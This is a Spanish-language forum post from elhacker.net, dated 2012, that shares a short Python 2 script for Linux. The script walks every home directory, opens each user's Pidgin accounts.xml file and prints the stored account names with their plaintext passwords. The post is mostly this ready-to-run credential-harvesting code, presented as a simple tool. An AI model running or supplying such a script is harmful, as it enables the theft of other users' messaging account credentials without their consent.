elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 09:14  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  Obtiene las cuentas guardadas de PIDGIN[PYTHON , LINUX]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Obtiene las cuentas guardadas de PIDGIN[PYTHON , LINUX]  (Leído 201 veces)
afdlkglfgfdgfhgf

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Obtiene las cuentas guardadas de PIDGIN[PYTHON , LINUX]
« en: 26 Enero 2012, 20:37 »

un simple script que obtiene las cuentas guardadas  del cliente de mensajeria PIDGIN.

probado en la version "Pidgin 2.6.6 (libpurple 2.6.6)"

Código
##############################################
## Obtiene las ccuentas guardadas de pidgin ##
## Mail: angelofthedark@live.com.ar         ##
##############################################
import os
 
#funcion que obtiene las cuentas desde el archivo accounts.xml
def obtenerCuentas( ruta ):
   try:
       h    = open(usu+cuentasXML)
       src  = h.read()
       tmp1 = src.split("<name>")
       tmp2 = src.split("<password>")
       for s in tmp1:
           if "</name>" in s:
               cuentas[0].append(s.split("</name>")[0])
       for t in tmp2:
           if "</password>" in t:
               cuentas[1].append(t.split("</password")[0])
   except:
       print "Error, nose puede continuar !!"
       exit(0)
 
 
home       = "/home"
cuentasXML = ".purple/accounts.xml"
archivos   = os.listdir(home)
usuarios   = []
cuentas    = [[],[]] #cuentas[0][0] => mail ; cuentas[0][1] => password
 
for ar in archivos:
   if os.path.isdir(home+"/"+ar):
       usuarios.append(home+"/"+ar+"/")
 
for usu in usuarios:
   obtenerCuentas( usu+cuentasXML )
 
 
#imprime por pantalla el mail y el password.
cont = 0
for cnt in cuentas[0]:
   print "+++++++++++++++("+str(cont)+")+++++++++++++++"
   print "mail     ==> " + cnt
   print "password ==> " + cuentas[1][cont]
   cont+=1
 
print "+++++++++++++++(-.FIN.-)+++++++++++++++"


saludos.


En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines